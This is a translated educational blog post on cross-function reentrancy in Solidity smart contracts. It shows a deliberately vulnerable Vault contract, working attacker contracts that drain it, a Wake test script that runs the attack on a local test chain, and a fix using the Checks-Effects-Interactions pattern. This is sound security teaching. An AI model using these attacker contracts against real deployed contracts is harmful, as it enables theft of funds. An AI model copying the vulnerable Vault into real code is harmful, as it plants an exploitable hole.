跨函数重入攻击

  • Ackee
  • 发布于 2024-07-05 10:48
  • 阅读 25

本文介绍了跨函数重入攻击的原理、攻击示例以及防范方法。

什么是跨函数重入攻击?

跨函数重入攻击使用多个函数来执行攻击,当对单函数重入攻击采取不适当的缓解措施时,可能会发生这种情况。与单函数重入攻击相比,跨函数重入攻击更难发现漏洞,因为它们使用函数的组合。

本文回顾了跨函数重入攻击的工作原理、攻击示例以及如何预防跨函数重入攻击。

跨函数重入漏洞的示例

这个 智能合约 添加了 transfer 函数,用于在不使用 ETH 的情况下将用户的值转移给另一个用户。

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract Vault is ReentrancyGuard {
    mapping (address => uint) private balances;

    function deposit() external payable nonReentrant {
        balances[msg.sender] += msg.value;
    }

    function transfer(address to, uint amount) public {
        if (balances[msg.sender] >= amount) {
            balances[to] += amount;
            balances[msg.sender] -= amount;
        }
    }

    function withdraw() public nonReentrant { // we can use noReentrant here.
        uint amount = balances[msg.sender];
        msg.sender.call{value: amount}("");
        balances[msg.sender] = 0; // did not checked balance. just overwrite to 0.
    }
}

这与单函数重入非常相似,但我们为 withdraw 和 deposit 函数设置了 Reentrancy Guard,因此无法在此代码上进行相同的攻击。但 transfer 函数没有 nonReentrant

问题在于,在用户可以调用 transfer 函数之前,状态更改尚未完成。例如,当用户调用 withdraw 函数时,它会进行外部调用并接收 ETH。然后,余额被转移到另一个地址。但是,在外部调用之后,余额仅设置为零。因此,对于同一用户,两个账户的 ETH 总余额实际上翻了一番。

跨函数重入攻击步骤

调用 attack 函数后,

  1. 调用 deposit 增加余额,为攻击做准备。
  2. 调用 withdraw 函数,它会对 Attacker 进行外部调用,并调用 receive 函数,并将攻击者存入的金额转移到 Attacker2
  3. 因此,现在 Attacker 和 Attacker2 的金额之和是原来的多倍。
  4. 调用 transfer 并将余额从 Attacker2 转移到 Attacker,现在余额的值与步骤 1. 相同,但 Attacker2 在之前的步骤中收到了 ETH。

我们重复这些操作。

这些是攻击者合约。

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "./vault.sol";

contract Attacker {
    Vault victim;
    uint256 amount = 1 ether;

    Attacker2 public attacker2;

    constructor(Vault _victim) payable {
        victim = Vault(_victim);
    }

    function setattacker2(address _attacker2) public {
        attacker2 = Attacker2(_attacker2);
    }

    function attack() public payable {
        uint256 value =  address(this).balance;
        victim.deposit{value: value}();
        while(address(victim).balance >= amount) {
            victim.withdraw();
            attacker2.send( value , address(this));
        }
    }

    /**
     * @notice Receive ether. the same amount of withdraw() but we can transfer the same amount to attacker2.
     *  接收以太币。与 withdraw() 的金额相同,但我们可以将相同的金额转移到 attacker2。
     * Because burn balance of attacker1 after this function.
     *  因为在此函数之后,攻击者 1 的余额会消耗掉。
     * @dev triggered by victim.withdraw()
     *  @dev 由 victim.withdraw() 触发
     */
    receive() external payable {
        victim.transfer(address(attacker2), msg.value);
    }
}

contract Attacker2 {

    uint256 amount = 1 ether;
    Vault victim;

    constructor(Vault _victim) {
        victim = Vault(_victim);
    }

    function send(uint256 value, address attacker) public {
        victim.transfer(attacker, value);
    }

}

这是漏洞利用。

Attacker 需要知道 Attacker2 才能发送。Attacker2 可以是 EOA,我们使用了一个简单的合约,该合约只能发送,但为了指示。

from wake.testing import *

from pytypes.contracts.crossfunctionreentrancy.vault import Vault
from pytypes.contracts.crossfunctionreentrancy.attacker import Attacker
from pytypes.contracts.crossfunctionreentrancy.attacker import Attacker2

@default_chain.connect()
def test_default():
    print("---------------------Cross Function Reentrancy---------------------")
    victim = default_chain.accounts[0]
    attacker = default_chain.accounts[1]

    vault_contract = Vault.deploy(from_=victim)
    vault_contract.deposit(from_=victim, value="10 ether")

    attacker_contract = Attacker.deploy(vault_contract.address, from_=attacker , value="1 ether")
    attacker2_contract = Attacker2.deploy(vault_contract.address, from_=attacker)

    attacker_contract.setattacker2(attacker2_contract.address, from_=attacker)
    print("Vault balance   : ", vault_contract.balance)
    print("Attacker balance: ", attacker_contract.balance)

    print("----------Attack----------")
    attacker_contract.attack(from_=attacker)

    print("Vault balance   : ", vault_contract.balance)
    print("Attacker balance: ", attacker_contract.balance)

这是 Wake 的输出。

我们可以看到 Vault 余额从 5 EHT 变为 0 ETH。攻击者余额从 1 ETH 变为 6 ETH。

这是跨函数重入。

预防跨函数重入攻击

有几种方法可以预防这种攻击。

CEI (Checks-Effects-Interactions)

与单函数可重入示例类似,最简单的预防方法是在状态更改的中间不执行不受信任的调用。

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

contract Vault {
    mapping (address => uint) private balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function transfer(address to, uint amount) public {
        if (balances[msg.sender] >= amount) {
            balances[to] += amount;
            balances[msg.sender] -= amount;
        }
    }

    function withdraw() public {
        uint amount = balances[msg.sender];
        balances[msg.sender] = 0; // change balance // 更改余额
        msg.sender.call{value: amount}(""); // external call // 外部调用
    }
}

虽然有很多其他方法可以防止它,例如 Reentrancy-Guard,但这仍然可能打开其他类型的重入漏洞,因此最好应用 CEI 模式。

结论

重入攻击的主要问题和原因是,即使它在某个函数的过程中,该值也是可修改的,并且该值与它应该的值不同。我们可以用几种方法解决这个问题,但即使我们可以防止这些重入攻击,也可以使用另一种类型的重入攻击并加以利用。我们将在以后的博客中解释这些攻击。

我们有一个 重入示例 Github 存储库,其中列出了其他几种类型的重入攻击,其中包含特定于协议的重入漏洞利用和预防示例,包括指导性博客文章。

  • 原文链接: ackee.xyz/blog/cross-fun...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Ackee
Ackee
Cybersecurity experts | We audit Ethereum and Solana | Creators of @WakeFramework , Solidity (Wake) & @TridentSolana | Educational partner of Solana Foundation